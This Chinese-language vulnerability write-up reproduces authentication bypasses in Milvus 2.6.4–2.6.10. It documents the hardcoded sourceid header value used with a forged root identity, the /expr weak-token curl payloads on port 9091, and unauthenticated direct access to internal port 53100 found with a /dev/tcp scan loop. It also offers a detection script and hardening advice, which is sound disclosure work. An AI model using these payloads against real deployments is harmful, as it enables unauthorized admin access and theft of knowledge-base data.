复现环境:Ubuntu 22.04 服务器(2核4G,Docker 29.6.0)。Milvus 三版本 2.6.4 / 2.6.5 / 2.6.10,全部 standalone 模式(etcd + minio + milvus 全家桶),三个版本都开启认证(COMMON_SECURITY_AUTHORIZATIONENABLED=true),模拟生产环境开启认证后的状态。

前置条件:攻击者视角为未认证的外部人员,只知道 Milvus 默认配置。

写在前面

这篇东西的起点是一个请求头。Milvus 的认证拦截器里有一段给内部组件留的逻辑:请求带上 sourceid 这个 header,值 base64 解码后等于 @@milvus-member@@,整个认证就跳过了。这个值是硬编码的,等于给所有能摸到 19530 端口的人开了一扇门。

后面的事情比预想的曲折。我顺着"官方怎么修的"往下挖,发现官方在 2.6.5 把 sourceid 后门整个删了——但删完还剩两个洞:管理端口 9091 的 /expr 弱 token(对应 2026 年 2 月公开的 CVE-2026-26190),还有内部端口 53100 压根没接认证。三个洞修一个,留两个,中间版本 2.6.5 处于最尴尬的状态。

一、为什么是 Milvus

RAG 的底座

2026 年做 AI 应用,RAG(检索增强生成)基本是标配。而 RAG 的底座就是向量数据库。Milvus 是中文社区最热的开源向量数据库,GitHub 上有 3 万多个 star,很多公司的知识库、智能客服、私域问答都在用它。部署教程铺天盖地,从"Milvus 入门到精通"到"Milvus 向量数据库从部署到实战";各大云厂商的开发者社区、CSDN、掘金都有大量相关文章;RAG 框架(LangChain、LlamaIndex 这些)默认支持的向量数据库列表里,Milvus 排在很靠前的位置。

漏洞时间线

Milvus 的认证问题在 2025 下半年到 2026 年初密集暴露:

时间

CVE

内容

严重度

影响版本

2025-11-10

CVE-2025-64513

Milvus Proxy 认证绕过(sourceid 后门)

Critical

< 2.4.24 / < 2.5.21 / < 2.6.5

2026-02-13

CVE-2026-26190

管理端口 9091 暴露导致认证绕过

高

< 2.5.27 / < 2.6.10

两个 CVE 间隔三个月,都是认证问题。而我验证后发现:第一个 CVE 在 2.6.5 修了,但第二个 CVE 在 2.6.5 上依然存在——官方修一个,还有两个。

公网暴露的现实

Milvus 默认监听 19530(gRPC)和 9091(管理端口),部署教程里 Docker Compose 会把这两个端口映射出来。很多教程只教部署不教安全配置,照着教程起实例的人大概率没开认证、没改端口、没配防火墙。我用 Shodan 的 internetdb 接口验证过 AI 服务的指纹可识别性(同机房的 Ollama 服务能直接识别出 cpe 和版本号),Milvus 的 9091 healthz 返回 OK 字符串、19530 有固定 gRPC banner,都是可指纹化的特征。公网暴露量我没有做完整测绘,但部署教程的量级摆在那里,风险是真实的——向量数据库这种"存了 AI 业务核心数据"的组件,暴露在公网上比普通数据库更危险,因为 RAG 知识库基本就是公司的文档资产。

二、部署:三版本的坑

standalone 全家桶

Milvus standalone 用 Docker Compose 起,一个 compose 文件里三个服务:etcd(元数据)、minio(对象存储)、milvus(主服务)。compose 长这样(省略部分环境变量):

services:
  etcd:
    image: quay.io/coreos/etcd:v3.5.5
    command: etcd -advertise-client-urls=http://127.0.0.1:2379 -listen-client-urls http://0.0.0.0:2379 --data-dir /etcd

  minio:
    image: minio/minio:RELEASE.2023-03-20T20-16-18Z
    command: minio server /minio_data --console-address ":9001"

  standalone:
    image: milvusdb/milvus:v2.6.4
    command: ["milvus", "run", "standalone"]
    environment:
      ETCD_ENDPOINTS: etcd:2379
      MINIO_ADDRESS: minio:9000
    ports:
      - "19530:19530"
      - "9091:9091"

镜像不小,milvus 主镜像 3.5G,加上 etcd 和 minio,光拉镜像就要等一阵。起容器之后还要等健康检查通过(Milvus 启动要一两分钟):

$ docker compose -f docker-compose-264.yml up -d
$ sleep 60 && curl -s http://127.0.0.1:9091/healthz
OK

看到 OK 才算真正起来了,19530 的 gRPC 才能连。三个版本我各起了一套 compose,端口和容器名都错开,避免互相干扰。

内存与端口:三版本共存

部署过程中踩了几个坑,说下对后面验证有影响的。

第一个坑是内存。我的服务器一共 3.6G 内存,一个 milvus 全家桶跑起来差不多要 1.5-2G,三个版本不可能同时跑。我的做法是先跑 2.6.4 验证完,停掉再起 2.6.5,最后再起 2.6.10。中途还停掉了服务器上两个不用的容器(之前文章验证环境的 directus11 和 n8n-patched)腾内存。停容器这事只要 docker start 就能恢复,没什么风险。内存紧张到什么程度?三个容器一起跑的时候,free -h 显示 available 只剩 1.2G,再起一个全家桶直接 OOM 风险。

第二个坑是端口。Milvus 的端口分成三类,后面挖洞全跟它们有关,先列个清单:

端口

作用

暴露范围

19530

proxy gRPC(SDK 连接)

默认对外映射

9091

管理端口(健康检查/指标/debug)

默认对外映射

53100

rootcoord 内部 gRPC

仅容器网络内

为了让三个版本共存,我把端口错开:2.6.4 用 19530/9091,2.6.5 映射成 19531/9092,2.6.10 映射成 19532/9093。

REST 登录 401:排查半小时

第三个坑和认证有关,也是我花时间最多的一个。开启认证后,我用 REST API 登录 root 用户,试了好几个默认密码全是 401:

$ curl -s -X POST http://127.0.0.1:19530/v2/vectordb/users/login \
  -H 'Content-Type: application/json' -d '{"username":"root","password":"Milvus"}'

{"code":1800,"message":"user hasn't authenticated"}

密码试了 Milvus、milvus、root、123456 全不行。当时一度以为认证配置没生效,或者 root 用户没初始化。查 etcd 里用户数据,by-dev/meta/root-coord/credential/users/root 明明存在。折腾了半天,最后换 gRPC 客户端登录,root/Milvus 一次就过:

$ python3 -c "
from pymilvus import connections
connections.connect(alias='t', host='127.0.0.1', port='19530', user='root', password='Milvus')
print('OK')"

Milvus -> OK

原因后面会说:REST API 和 gRPC 是两套认证链路,行为还不一样。这个坑耽误了我大概半小时,也让我意识到 Milvus 的认证实现是分层的,后面挖洞的时候这个认知帮了大忙。

三、侦察:默认配置有多松

默认配置与开启认证的差异

我先在完全默认配置(不开认证)下测了一轮:

$ curl -s -X POST http://127.0.0.1:19530/v2/vectordb/databases/create \
  -H 'Content-Type: application/json' -d '{"dbName":"testdb"}'

{"code":0,"data":{}}

没有认证,匿名直接建库成功。这是 Milvus 的默认状态:authorizationEnabled 默认 false,谁都能连。很多部署教程压根没提认证这回事,照着教程部署的实例基本等于裸奔。

然后开启认证(环境变量 COMMON_SECURITY_AUTHORIZATIONENABLED=true),再测:

$ curl -s -X POST http://127.0.0.1:19530/v2/vectordb/collections/list \
  -H 'Content-Type: application/json' -d '{}'

{"code":1800,"message":"user hasn't authenticated"}

匿名被拒了,认证生效。root 用户的默认密码是 Milvus(gRPC 登录验证过)。

顺带确认下版本,防止拉错镜像:

$ for c in milvus264 milvus265 milvus2610; do echo -n "$c: "; docker inspect $c --format '{{.Config.Image}}'; done
milvus264: milvusdb/milvus:v2.6.4
milvus265: milvusdb/milvus:v2.6.5
milvus2610: milvusdb/milvus:v2.6.10

三个版本都确认一遍,后面所有对比结论都建立在"版本没搞错"这个前提上。

两套认证链路

到这里有个重要观察:REST API(/v2/vectordb/*)有自己的认证中间件,走的是 GIN HTTP 层;而 gRPC 走的是另一套拦截器。这两个链路的认证逻辑完全独立,REST 那边拦住了不代表 gRPC 那边也安全。后面 CVE-2025-64513 的利用点,恰恰就在 gRPC 链路上。

这个"两套认证"的认知怎么来的?除了登录行为差异,还有两个佐证。

第一个佐证是 REST API 的登录端点行为异常。开认证后 REST 登录一直 401,但 gRPC 登录正常——如果两套认证共用一套逻辑,不应该出现这种差异。

第二个佐证是拦截器实现的路径不同。REST 的认证逻辑在 GIN 中间件里(internal/http/ 目录),gRPC 的认证逻辑在 internal/proxy/authentication_interceptor.go,两者完全独立。这一点在挖洞的时候成了关键线索:我只盯 gRPC 链路,因为它是 SDK 默认的通信方式,而且认证实现更"特殊"(有 sourceid 这种内部机制)。

另外侦察阶段还确认了一个事实:即使开了认证,默认配置下 9091 管理端口依然是完全开放、没有认证的(这个后面专门讲)。当时我只测了 19530 的 API,没第一时间注意到 9091 上的路由——这是后来查 CVE-2026-26190 资料时才反应过来的。

四、CVE-2025-64513:sourceid 后门复盘

advisory 与源码定位

先看官方 advisory 怎么说:未认证攻击者可以利用这个漏洞绕过 Milvus Proxy 的全部认证机制,获得集群完全管理权限。这个漏洞影响 2.4.24 / 2.5.21 / 2.6.5 之前的版本,官方在 2.6.5 修复。官方给的临时缓解措施很有意思——"在网关层把 sourceid 这个 header 从所有请求里删掉"。

一个 header 能绕过全部认证,这摆明了是设计层面的问题。翻源码,找到认证拦截器 internal/proxy/authentication_interceptor.go:

func validSourceID(ctx context.Context, authorization []string) bool {
    if len(authorization) < 1 {
        return false
    }
    // token format: base64<sourceID>
    token := authorization[0]
    sourceID, err := crypto.Base64Decode(token)
    if err != nil {
        return false
    }
    return sourceID == util.MemberCredID
}

再看两个常量:

HeaderSourceID = "sourceId"            // pkg/util/constant.go:50
MemberCredID   = "@@milvus-member@@"   // pkg/util/constant.go:52

拦截器的主逻辑:

if Params.CommonCfg.AuthorizationEnabled.GetAsBool() {
    if !validSourceID(ctx, md[strings.ToLower(util.HeaderSourceID)]) {
        // 正常认证:校验 authorization 里的 base64(username:password)
    }
    // sourceid 校验通过 → 整个认证分支直接跳过!
}

逻辑很清楚:如果请求带了 sourceId header,且它的值 base64 解码后等于 @@milvus-member@@,那就认为这个请求来自 Milvus 内部组件(member),直接跳过认证。

内部组件互信机制

这个机制是给内部组件用的。Milvus 内部组件之间(比如 proxy 调 rootcoord)通过 gRPC 互调,客户端用 PerRPCCredentials 自动带上这个 header(internal/util/grpcclient/auth.go):

func (t *Token) GetRequestMetadata(ctx context.Context, uri ...string) (map[string]string, error) {
    return map[string]string{util.HeaderSourceID: t.Value}, nil
}

问题在于:这个"内部成员身份"没有任何来源校验。@@milvus-member@@ 是硬编码的常量,base64 一下就是 QEBtaWx2dXMtbWVtYmVyQEA=,谁都能算出来。攻击者只要在 gRPC 请求里带上这个 header,Proxy 就认为他是内部组件,认证直接跳过。

复现:一条 header 绕过认证

复现需要构造 gRPC 请求。Milvus 的 gRPC 服务定义在 milvus-proto 仓库,我用 grpc_tools 生成了 Python 客户端代码,然后写了个小脚本。核心就两步:

# 1. 未认证基线
stub.ListDatabases(ListDatabasesRequest())
# 报错: UNAUTHENTICATED missing authorization in header

# 2. 带 sourceid 后门
stub.ListDatabases(ListDatabasesRequest(),
                   metadata=[("sourceid", "QEBtaWx2dXMtbWVtYmVyQEA=")])
# code=0, 返回所有数据库

这里踩了个小坑:一开始用 sourceId(大写 I)传 metadata key,直接被 gRPC 客户端拒绝:

Metadata key 'sourceId' is invalid: INTERNAL: Illegal header key

原因:gRPC 规范要求 metadata 的 key 必须全小写。而服务端拦截器查的是 md[strings.ToLower(util.HeaderSourceID)],也就是全小写的 sourceid。所以正确的传法是 sourceid(全小写)。

复现结果(2.6.4,开启认证):

=== 1. 未认证基线 ===
[未认证] RPC错误: StatusCode.UNAUTHENTICATED missing authorization in header

=== 2. sourceid 全小写 (payload=base64("@@milvus-member@@")) ===
[sourceid绕过] status code=0
  >>> 绕过成功! 数据库: ['default']

=== 3. 其他值对比 ===
[sourceid=1] RPC错误: StatusCode.UNAUTHENTICATED
[sourceid=原始字符串] RPC错误: StatusCode.UNAUTHENTICATED

未认证被拒,带上 sourceid: QEBtaWx2dXMtbWVtYmVyQEA= 直接绕过,能列出所有数据库。而且这个值很挑剔:传 1 不行,传原始字符串 @@milvus-member@@ 也不行,必须 base64 编码后的完整值。这个"挑剔"反而说明了实现逻辑:它拿 header 值做 base64 解码再比对,所以只认编码后的完整字符串。

到这里只是"认证绕过 + 信息泄露"。但 GHSA 说的是"完全管理权限"。我继续挖,发现完整的利用链比预想的更离谱——不需要知道任何密码。

五、完整利用链:sourceid + 假身份 = full admin

攻击者画像

先说下攻击者画像:能接触到 19530 端口的未认证人员——公网攻击者、内网低权限用户、被攻破的旁路服务。他不需要任何凭据,只需要会算 base64。下面这条链就是给他准备的。

跳过校验:sourceid + 假身份 = full admin

回到拦截器代码,注意一个细节:validSourceID 通过后,不是"把请求当作某个特定用户处理",而是整个认证分支被跳过。authorization header 里的内容根本没被校验,原样透传到内部组件。

内部组件(rootcoord 等)拿到请求后,从 authorization header 里解析出用户名和密码,然后……只信用户名。密码校验发生在 proxy 层的认证拦截器里,内部组件默认调用方已经验证过了。

把这两点串起来就是完整利用链:

  1. 带 sourceid: base64("@@milvus-member@@") 让 proxy 跳过认证
  2. 再带一个 authorization: base64("root:随便什么假密码") 伪造 root 身份
  3. proxy 不校验 authorization(因为 sourceid 已经放行了)
  4. 内部组件解析出 username=root,直接给 root 权限

验证一下(2.6.4):

=== 2.6.4: sourceid + 伪造 root(假密码)管理操作 ===
  [CreateDatabase(evil_db)] code=0
  [ListDatabases(again)] code=0 dbs=['default', 'evil_db']

CreateDatabase 返回 code=0,再次列出数据库,evil_db 实实在在出现在列表里。全程没有用真正的 root 密码。

对照组更能说明问题——只带假 authorization、不带 sourceid:

[ListDatabases(假身份无sourceid)] RPC: StatusCode.UNAUTHENTICATED auth check failure, please check username and password are correct

假密码单独出现会被正常拒绝。但加上 sourceid 后,密码校验整个被跳过。这就是 CVE-2025-64513 "完全管理权限"的真正机制:sourceid 后门不仅绕过了认证,还让攻击者能以任意用户名(包括 root)的身份执行任何操作。

再展开验证一下这个绕过身份能干什么,除了建库之外,用户管理、集合管理都试了一遍:

=== 2.6.4: sourceid + 伪造 root 身份 ===
  [ListDatabases] code=0 数据库=[...全部库...]
  [ListCredUsers] code=0 users=['admin3', 'root']   <- 能看到所有用户
  [ShowCollections] code=0
  [CreateCredential(ghost)] 失败: decode password fail   <- 密码格式问题,不影响主链

能看到用户列表、能列集合、能建库。CreateCredential 那个失败是密码字段格式问题(Milvus 要求 base64 编码的密码),不是权限问题——但建库成功已经足够证明完全管理权限了,我没有继续纠结这个细节。

还有个细节值得说:拦截器里,API key 分支和用户名密码分支是并列的。sourceid 有效时两个分支都跳过,authorization 原样透传。所以攻击者不只是能伪造 root——他能伪造任何用户名,只要内部组件信任这个用户名。换句话说,权限模型里有什么角色,攻击者就能扮演什么角色。

数据读写链

我还在这个绕过身份下走完了完整的数据读写链:建集合、插入数据、建索引、加载、查询,全部成功。插入的 secret 字段(一条 flag 字符串、一条模拟的内部通讯录)能被绕过身份读出来:

=== 绕过身份:完整数据读写链 (2.6.4) ===
  [CreateCollection(leak_col)] code=0
  [Insert(2条)] code=0
  [CreateIndex] code=0
  [LoadCollection] code=0
  [Query(读secret)] code=0
    字段 id: [1, 2]
    字段 secret: ['flag{internal-rag-document}', '内部员工通讯录-张三-138xxxx']

对照组:root 正常登录读同一份数据,结果一致——说明这不是我造出来的假数据,绕过身份确实拿到了真实的读写权限。

六、官方修了 sourceid:2.6.5 源码 diff

diff:validSourceID 整个删除

复现完第一个 CVE,下一步自然是看官方怎么修的。拉下 2.6.5 的源码,diff 认证拦截器:

$ diff src264/internal/proxy/authentication_interceptor.go src265/internal/proxy/authentication_interceptor.go

35,48d34
< func validSourceID(ctx context.Context, authorization []string) bool {
<   if len(authorization) < 1 {
<       return false
<   }
<   // token format: base64<sourceID>
<   token := authorization[0]
<   sourceID, err := crypto.Base64Decode(token)
<   if err != nil {
<       return false
<   }
<   return sourceID == util.MemberCredID
< }
<
79,81c65
<   // check:
<   //  1. if rpc call from a member (like index/query/data component)
<   //  2. if rpc call from sdk
---
>   // check rpc call from sdk

修复方式非常干脆:validSourceID 函数整个删掉,认证拦截器不再信任任何 sourceid。官方等于承认了"内部成员免认证"这个设计本身就是个后门,直接移除。

2.6.5 实测

实测 2.6.5:

=== 2.6.5 (修复版) ===
  [未认证] 拒绝
  [只sourceid] RPC: StatusCode.UNAUTHENTICATED missing authorization in header
  [sourceid+假root] RPC: StatusCode.UNAUTHENTICATED auth check failure
  [真root正常认证] code=0

sourceid 绕过失效,sourceid + 假身份组合也失效,修复彻底。

内部组件没受影响

到这里,故事本可以结束:复现 CVE → 官方修复 → 完事。但我的习惯是修完的版本再翻翻,看有没有同族问题。这一翻就翻出事了。

先说一个修完之后的观察:官方删了 sourceid 信任后,内部组件之间的调用怎么办?我之前看过源码,内部组件(rootcoord 调 datacoord 那些)是用 PerRPCCredentials 自动带 sourceid 的。删掉后这些调用会不会被 proxy 拒绝?

实测 2.6.5 集群功能完全正常——root 登录后建集合、插数据、查询都能跑通:

登录 OK
数据库: ['default', 'hack_db']
建集合 OK
插数据 OK

原因还是那个:内部组件之间的调用走的是内部端口(rootcoord 的 53100 等),不经过 proxy 的认证拦截器。proxy 层的 sourceid 后门只影响"外部请求冒充内部成员"这一个场景。官方删掉它,内部通信完全不受影响——这个后门对外部是漏洞,对内部是废代码,删得干净利落。

七、同族挖掘:管理端口 9091 裸奔(CVE-2026-26190)

9091 上有什么

我的思路是:第一个洞是"认证链路里的信任后门",那顺着"还有哪些入口没走认证"找。Milvus 除了 19530(proxy gRPC),还有一个 9091 管理端口。这个端口在 compose 里默认就映射出来了,我部署的时候根本没多想——当时只把它当健康检查端口用,验证服务起来了没。直到查 CVE 资料才发现 2026 年 2 月公开的 CVE-2026-26190 说的就是它,而且比我以为的严重得多。

NVD 描述:2.5.27 和 2.6.10 之前的版本,9091 端口默认暴露,/expr debug 端点使用从 etcd.rootPath 派生的弱默认认证 token(默认 by-dev),可以执行任意表达式;同时完整 REST API(/api/v1/*)注册在管理端口上没有任何认证。

先看源码,internal/http/server.go 的 9091 端口注册了一堆路由:

  • /healthz:健康检查
  • /log/level:运行时改日志级别
  • /eventlog:事件日志
  • /expr:表达式执行(debug 用)
  • /metrics:Prometheus 指标
  • /management/stop:触发组件停止

其中 /expr 的实现:

Register(&Handler{
    Path: ExprPath,
    Handler: http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
        code := req.URL.Query().Get("code")
        auth := req.URL.Query().Get("auth")
        output, err := expr.Exec(code, auth)
        ...
    }),
})

而 expr.Exec 的认证 key 在初始化时设置:

func Init() {
    ...
    authKey = paramtable.Get().EtcdCfg.RootPath.GetValue()
}

authKey 就是 etcd.rootPath,默认值是 by-dev。也就是说,任何人只要知道 Milvus 默认配置(或者看一眼部署文档),就能算出这个"认证 token"。

/expr:写死的弱 token 与实测

实测(2.6.4 管理端口 9091):

$ curl 'http://127.0.0.1:9091/expr?code=1%2B1&auth=by-dev'
{"output":"2"}

$ curl 'http://127.0.0.1:9091/expr?code=upper(%22hello%22)%2B%22-%22%2Bstring(40%2B2)&auth=by-dev'
{"output":"HELLO-42"}

$ curl 'http://127.0.0.1:9091/expr?code=1%2B1&auth=wrong'
{"msg": "failed to execute expression, the expr auth is invalid"}

$ curl 'http://127.0.0.1:9091/expr?code=1%2B1'
{"msg": "failed to execute expression, the expr auth is empty"}

auth=by-dev 直接执行任意表达式(算术、字符串函数都行),auth 错误或缺省就被拒。这个弱 token 是真的弱——默认值写死在代码里,等于没有认证。

修复轨迹:2.6.5 还在,2.6.10 加开关

关键的是:2.6.5 上依然存在。我在 2.6.5 的管理端口(映射成 9092)上复测,同样的 payload 同样执行成功。官方修了 sourceid(2.6.5),但管理端口这个洞要等到 2.6.10 才修。

2.6.10 的修复方式是加了个开关:

$ curl 'http://127.0.0.1:9093/expr?code=1%2B1&auth=by-dev'
{"msg": "expr endpoint is disabled. Set common.security.exprEnabled to true to enable it."}

common.security.exprEnabled 默认 false,/expr 直接禁用。这个修复思路是合理的——debug 端点默认关掉,要用自己开。

逃逸尝试:沙箱挺硬

我还试了 /expr 能不能逃逸到 RCE。这个 debug 端点用的表达式引擎是 expr-lang(Milvus 还在 go.mod 里把它替换成了一个第三方 fork:github.com/expr-lang/expr => github.com/SimFG/expr),环境里只注册了 ctx 和 objSize 两个东西。试了类型断言、分号语法、reduce 大计算,全部被沙箱拦下:

$ curl 'http://127.0.0.1:9091/expr?code=(%221%22).(int)&auth=by-dev'
{"msg": "failed to execute expression, expected name (1:8)"}

$ curl 'http://127.0.0.1:9091/expr?code=ctx%3B%22ok%22&auth=by-dev'
{"msg": "failed to execute expression, unexpected token Operator(\";\")"}

$ curl 'http://127.0.0.1:9091/expr?code=reduce(1..100000%2C%20%23%2B%231)&auth=by-dev'
{"msg": "failed to execute expression, unknown pointer #1"}

我还对比了 fork 和上游的差异,看它有没有加危险函数——结果没有,fork 的改动主要在别的方面。CVE 描述里写的也是"任意表达式求值",不是 RCE。所以这个洞的实际影响是:调试接口未授权访问 + 表达式引擎暴露 + 配合管理端口上其他未认证端点做信息收集。如果表达式引擎以后被挖出逃逸,那就直接升级成 RCE——debug 端点默认暴露给不可信网络本身就是隐患。

其他端点与 /api/v1 场景

另外,9091 上还有其他几个未认证端点,顺手测了一下:

$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9091/log/level
200

$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9091/eventlog
200

$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9091/metrics
200

$ curl -s http://127.0.0.1:9091/management/stop
{"msg": "failed to trigger component stop, stop component [] in [standalone] is not supported"}

/management/stop 在 standalone 模式下返回不支持,所以 DoS 面在这里不成立。但 /metrics 会泄露内部指标信息(连接数、节点状态之类),/log/level 可以改日志级别干扰运维排障,这些都属于管理端口不该裸奔的原因。

CVE 描述里还有一条:完整 REST API(/api/v1/*)注册在管理端口上无认证。我在 standalone 模式上测 9091/api/v1 是 404——这条攻击面在 distributed(分布式)部署模式下才存在,源码里 internal/distributed/proxy/service.go 有 apiPathPrefix = "/api/v1" 的注册。我没搭 distributed 环境,这条只能从源码层面确认,standalone 的实测结果以 /expr 为准。诚实地讲,这条的攻击面分析基于源码,没有动态验证。

八、内部端口 53100:没接认证拦截器的设计缺陷

直连就通了:拦截器只挂在 proxy

这个洞是三兄弟里最"干净"的一个——不需要任何 payload,连 header 都不用带。发现它的过程也挺偶然:sourceid 挖完之后,我顺着"还有哪些入口没走认证"扫了一圈容器内的端口。先看容器 IP,再把常见内部端口都试一遍:

$ docker inspect milvus264 --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
172.22.0.4

$ for p in 53100 13300 31000 19531 9091 19530; do
    (timeout 2 bash -c "echo > /dev/tcp/172.22.0.4/$p" 2>/dev/null && echo "$p OPEN") || echo "$p closed"
  done
53100 OPEN
13300 closed
31000 closed
19531 closed
9091 OPEN
19530 OPEN

rootcoord 的内部 gRPC 端口 53100 开着。直连试试:

=== 洞3:内部端口 rootcoord 53100 未认证直连 (2.6.4) ===
容器 IP: 172.22.0.4
[ListDatabases] code=0  数据库=['default', 'evil_db']  <-- 未认证

未认证直连,直接列出所有数据库。注意这里连 sourceid 都不需要——53100 上压根没有认证拦截器。管理操作(建库、列用户)我在后面的 2.6.5 实测里继续验证。

原因在架构上。AuthenticationInterceptor(认证拦截器)只注册在 proxy 的 gRPC server 上(19530),而 rootcoord 自己的 gRPC server(53100)没有任何认证。Milvus 的设计假设是:内部端口只在受信任的网络里暴露,所以不需要认证。

2.6.5 实测

这个假设在 Docker 场景下是脆弱的。standalone 部署时,53100 绑定在容器网络里,同一网络里的其他容器(或者被 SSRF 打进去的攻击者)都能直连。我实测 2.6.4 和 2.6.5 都中招,2.6.5 上未认证 CreateDatabase(hack_db) 成功,用 root 登录后确认数据库真实存在:

=== 2.6.5 内部接口 53100 未认证管理操作 ===
  [ListDatabases] code=0 dbs=['default']
  [CreateDatabase(hack_db)] code=0          <- 未认证建库成功
  [ListCredUsers] code=0 users=['root']

=== 交叉验证:root 登录看数据库 ===
数据库: ['default', 'hack_db']               <- hack_db 真实存在

到这里要说明白一个前提:这个洞的利用条件是"攻击者已经能访问容器网络内"。公网攻击者直达不了 53100(除非端口被映射出来或者安全组放行)。它真正的威胁场景是:

  • 同一个 docker 网络里有其他被攻破的服务(比如那个服务有 SSRF 或者 RCE)
  • 开发环境把内部端口映射到了宿主机甚至公网
  • 容器逃逸或者共享网络场景

影响面与 2.6.10 的修复

我把它写进来,是因为它和前面两个洞形成了完整的"认证失效"图景:proxy 层有后门(已修)、管理端口裸奔(2.6.10 修)、内部接口完全没有认证(2.6.10 之前)。三个洞的修复方式也各不相同,说明 Milvus 的认证边界是分层堆出来的,每一层都有自己的信任假设。

到 2.6.10,这个端口直接不再监听了(连不上)。官方算是变相修掉了这个面,但修法比较隐晦——不是加了认证,而是端口不开了。我在 2.6.10 的容器里扫了一圈,53100 确实没有监听。

九、三版本对比 + 检测脚本

汇总表

把三个洞和三个版本的状态汇总成一张表:

漏洞

2.6.4

2.6.5

2.6.10

sourceid 后门绕过认证(CVE-2025-64513)

中招

已修复

已修复

管理端口 /expr 弱 token(CVE-2026-26190)

中招

中招

已修复(默认禁用)

内部端口 53100 无认证

中招

中招

端口不再监听

官方分两步修:2.6.5 删掉 sourceid 后门,2.6.10 给 /expr 加默认关闭开关。中间版本 2.6.5 处于"修了一半"的状态——第一个洞没了,后两个还在。

脚本设计:三阶段与运行方式

针对这三个洞,我写了个检测脚本 milvus-auth-audit.py,按三阶段设计:

  • check:探测版本和认证状态(authorizationEnabled 是否开启)
  • verify:检测 CVE-2025-64513(sourceid 后门)和 CVE-2026-26190(/expr 弱 token)
  • exploit:检测内部端口 53100 是否未认证暴露(需要容器网络内可达)

脚本已开源:https://github.com/qianlijaingshan/milvus-auth-audit (含 README 和 proto 生成说明)

脚本设计上有个考虑:三个洞的检测方式完全不同,得分开写。sourceid 和内部端口走 gRPC,/expr 走 HTTP。所以脚本里 verify 阶段分两条线,一条调 gRPC 的 ListDatabases 接口(未认证基线 + sourceid 注入对比),一条用 curl 打 /expr 端点(auth=by-dev 试表达式)。内部端口的 exploit 走 gRPC 直连 rootcoord。

另外脚本对"未开启认证"的情况也做了区分:如果 authorizationEnabled=false,直接报 WARN(完全匿名),而不是 SAFE。因为很多部署是没开认证的,那种情况 sourceid 后门根本没机会触发——整个 proxy 都不拦人。但没开认证本身才是更大的问题。

脚本的局限也说一下:它检测的是"认证机制是否可绕过",不是漏洞利用链的完整复现。sourceid 后门验证到"能列数据库"就停了,没有继续做数据读写;/expr 验证到"能执行表达式"就停了,没有尝试逃逸。这是有意的——检测脚本的目的就是给出"该修了"的信号,深挖交给后续分析。另外 gRPC 检测依赖 proto 生成的 Python 代码,README 里写了生成步骤,跑之前要先把依赖准备好。

运行方式:

$ python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
$ python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100

注意内部端口检测要传容器 IP(或者内网可达的地址),因为 53100 只在容器网络里监听。

脚本对三个版本跑出来的结果完全符合预期:

=== 2.6.4 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=[...]  -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev)   -> HIT
[exploit] 内部端口未认证, 数据库=[...]        -> HIT
[!] 发现 3 个可利用认证缺陷

=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝  -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev)   -> HIT
[exploit] 内部端口未认证, 数据库=[...]        -> HIT
[!] 发现 2 个可利用认证缺陷

=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝  -> SAFE
[verify] /expr 已默认禁用  -> SAFE
[exploit] 端口不可达  -> SAFE
[+] 未发现认证缺陷

这个输出本身就是三版本对比的直观证据:同样的脚本,三个版本三个结果,漏洞修复的轨迹一目了然。

十、攻击链串联

公网视角

最后把三个洞串成完整的攻击视角。假设一个真实的 Milvus 部署:开启了认证、19530 暴露公网、9091 没暴露、容器网络里有其他服务。

公网攻击者只能访问 19530:

  • 2.6.4:sourceid + 假身份 = full admin。攻击者只需要三步:算出 base64("@@milvus-member@@")、带上 sourceid、带上假 authorization。建库、读写数据、列用户全都能干
  • 2.6.5:sourceid 修复后,公网攻击面变窄。如果 9091 也暴露了,/expr 表达式引擎可被调用(任意表达式求值 + 管理信息泄露);如果 9091 没暴露,公网侧基本只剩默认配置问题(root 默认密码、没开认证)

内网视角

攻击者通过 SSRF、其他容器漏洞或共享网络打进 docker 网络后:

  • 任意版本(2.6.10 之前):直连容器 IP 的 53100,未认证 full admin。这是三个洞里最"干净"的一个——不需要任何 payload,连 header 都不用带

组合路径与数据泄露

更现实的路径是组合的:

  1. 攻击者先通过内网里某个有 SSRF 的服务探测(很多 AI 应用都有 URL 拉取功能)
  2. 扫到 53100 开放
  3. 直连,未认证建库、读数据
  4. 或者公网直达 19530(2.6.4 的话直接 sourceid 绕过)

无论哪条路进来,最后都能落到数据上。我演示的路径是绕过身份建集合、插入带 secret 字段的数据、再查询读出来。真实场景里这些数据就是 RAG 知识库里的企业文档、客服记录、内部知识——向量数据库存的都是明文,读出来就是明文。

有个细节值得强调:向量数据库的数据泄露和传统数据库不太一样。RAG 场景下,向量和原始文档是配套存储的(向量 + 原文),攻击者不仅能检索向量,还能把原文整个拖走。而且向量检索本身就能做"数据恢复"——即使没有原文,通过相似度检索也能把相近内容捞出来,这对知识库场景意味着文档内容基本等于透明。

从防御方的角度再看一遍这三个洞,其实都有提前发现的可能:sourceid 后门在开认证后做个"无凭据请求"的回归测试就能暴露;/expr 弱 token 在管理端口做一次路由枚举就能发现;内部端口 53100 用端口扫描就能看到。这三件事花不了一小时,但绝大多数部署都没做——这恰恰说明"默认配置 + 不验证"才是最大的风险敞口。

把三个洞的攻击路径整理成一张对比表:

攻击面

利用条件

权限

修复版本

sourceid 后门(19530)

公网可达 19530

full admin

2.6.5

/expr 弱 token(9091)

公网可达 9091

任意表达式求值

2.6.10

内部端口 53100

容器网络内可达

full admin

2.6.10(不再监听)

十一、防御建议

按优先级排

  1. 升级到 2.6.10+。两个 CVE 都在 2.6.10 修了,内部端口也不监听了
  2. 开启认证。authorizationEnabled=true,默认关闭等于裸奔
  3. 改掉 root 默认密码。root/Milvus 是默认的,不换等于没开认证
  4. 9091 管理端口不要暴露公网。就算升到 2.6.10,管理端口也不该对外
